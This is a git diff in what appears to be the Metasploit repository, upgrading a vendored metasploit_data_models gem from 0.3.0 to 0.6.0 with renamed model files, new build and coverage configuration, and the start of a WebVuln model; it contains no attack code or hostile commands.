usage: -# serialize :foo, MetasploitDataModels::Base64Serializer.new -# -module MetasploitDataModels - class Base64Serializer - def load(value) - return {} if value.blank? - begin - # Load the unpacked Marshal object first - Marshal.load(value.unpack('m').first) - rescue - begin - # Support legacy YAML encoding for existing data - YAML.load(value) - rescue - # Fall back to string decoding - value - end - end - end - - def dump(value) - # Always store data back in the Marshal format - [ Marshal.dump(value) ].pack('m') - end - end -end - - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/engine.rb deleted file mode 100644 index 27f7df2994..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/engine.rb +++ /dev/null @@ -1,7 +0,0 @@ -require 'rails' - -module MetasploitDataModels - class Engine < Rails::Engine - - end -end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/version.rb deleted file mode 100755 index e68300cf0c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/version.rb +++ /dev/null @@ -1,7 +0,0 @@ -module MetasploitDataModels - # MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API - # is considered unstable because the database migrations are still in metasploit-framework and certain models may not - # be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API - # the version should remain below 1.0.0 - VERSION = '0.3.0' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/lib/base64_serializer_spec.rb deleted file mode 100755 index ace44fcdac..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/lib/base64_serializer_spec.rb +++ /dev/null @@ -1,22 +0,0 @@ -require "spec_helper" - -module MetasploitDataModels - describe Base64Serializer do - subject{Base64Serializer.new} - - let(:test_value){{:foo => "bar", :baz => "baz"}} - - # We make it same way as in class b/c hard to keep a reliable base64 - # string literal as a fixture - let(:base64_fixture){[Marshal.dump(test_value)].pack('m')} - - it "should turn a Hash into proper base64" do - subject.dump(test_value).should == base64_fixture - end - - it "should turn base64 back into a Hash" do - subject.load(base64_fixture).should == test_value - end - end -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore similarity index 78% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore index e5b2a024e4..9cf3f2824c 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.gitignore +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore @@ -6,13 +6,19 @@ *.gem # Rubymine project configuration .idea +# logs +*.log # Don't check in rvmrc since this is a gem .rvmrc +# YARD database +.yardoc +# coverage report directory for simplecov/Rubymine +coverage +# generated yardocs +doc # Installed gem versions. Not stored for the same reasons as .rvmrc Gemfile.lock # Packaging directory for builds pkg/* # Database configuration (with passwords) for specs spec/dummy/config/database.yml -# logs -*.log diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov new file mode 100644 index 0000000000..c46d9aaf94 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov @@ -0,0 +1,38 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + +SimpleCov.configure do + load_adapter('rails') + + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts new file mode 100644 index 0000000000..5d51dac244 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts @@ -0,0 +1,4 @@ +--markup markdown +--protected +{app,lib}/**/*.rb +db/migrate/*.rb \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile new file mode 100755 index 0000000000..f153705da3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile @@ -0,0 +1,25 @@ +source "http://rubygems.org" + +# Specify your gem's dependencies in metasploit_data_models.gemspec +gemspec + +# used by dummy application +group :development, :test do + # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # auto-load factories from spec/factories + gem 'factory_girl_rails' + # rails is only used for the dummy application in spec/dummy + gem 'rails' +end + +group :test do + # In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only + # want rails in :test, factory_girl_rails must also only be in :test. + # add matchers from shoulda, such as validates_presence_of, which are useful for testing validations + gem 'shoulda-matchers' + # code coverage of tests + gem 'simplecov', :require => false + gem 'rspec-rails' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE index 7b9ec00a08..7743a2ea9a 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/LICENSE +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE @@ -1,4 +1,4 @@ -Copyright (C) 2012, Rapid7 LLC +Copyright (C) 2012, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile new file mode 100755 index 0000000000..8fd6dc482f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile @@ -0,0 +1,34 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) +load 'rails/tasks/engine.rake' + +Bundler::GemHelper.install_tasks + +# +# load rake files like a normal rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +# + +pathname = Pathname.new(__FILE__) +root = pathname.parent +rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path + +Dir.glob(rakefile_glob) do |rakefile| + load rakefile +end + +require 'rspec/core' +require 'rspec/core/rake_task' + +# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare') + +task :default => :spec + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/imported_cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/loot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb similarity index 87% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb index bdc5baae21..c727f8507f 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/user.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb @@ -20,13 +20,6 @@ class Mdm::User < ActiveRecord::Base serialized_prefs_attr_accessor :time_zone, :session_key serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields) - # - # Validations - # - - validates :password, :password_is_strong => true - validates :password_confirmation, :password_is_strong => true - ActiveSupport.run_load_hooks(:mdm_user, self) end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb new file mode 100755 index 0000000000..5d9df893c7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb @@ -0,0 +1,191 @@ +# A Web Vulnerability found during a web scan or web audit. +# +# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) inside an initializer so that +# your patches are reloaded on each request in development mode for your Rails application. +# +# @example extending Mdm::WebVuln +# # config/initializers/mdm_web_vuln.rb +# ActiveSupport.on_load(:mdm_web_vuln) do +# def confidence_percentage +# "#{confidence}%" +# end +# end +class Mdm::WebVuln < ActiveRecord::Base + # + # CONSTANTS + # + + # A percentage {#confidence} that the vulnerability is real and not a false positive. 0 is not allowed because there + # shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding. + CONFIDENCE_RANGE = 1 .. 100 + + # Default value for {#params} + DEFAULT_PARAMS = [] + + # Allowed {#method methods}. + METHODS = [ + 'GET', + # XXX I don't know why PATH is a valid method when it's not an HTTP Method/Verb + 'PATH', + 'POST' + ] + + # {#risk Risk} is rated on a scale from 0 (least risky) to 5 (most risky). + RISK_RANGE = 0 .. 5 + + # + # Associations + # + + belongs_to :web_site, :class_name => 'Mdm::WebSite' + + # + # Attributes + # + + # @!attribute [rw] blame + # Who to blame for the vulnerability + # + # @return [String] + + # @!attribute [rw] category + # Category of this vulnerability. + # + # @return [String] + + # @!attribute [rw] confidence + # Percentage confidence scanner or auditor has that this vulnerability is not a false positive + # + 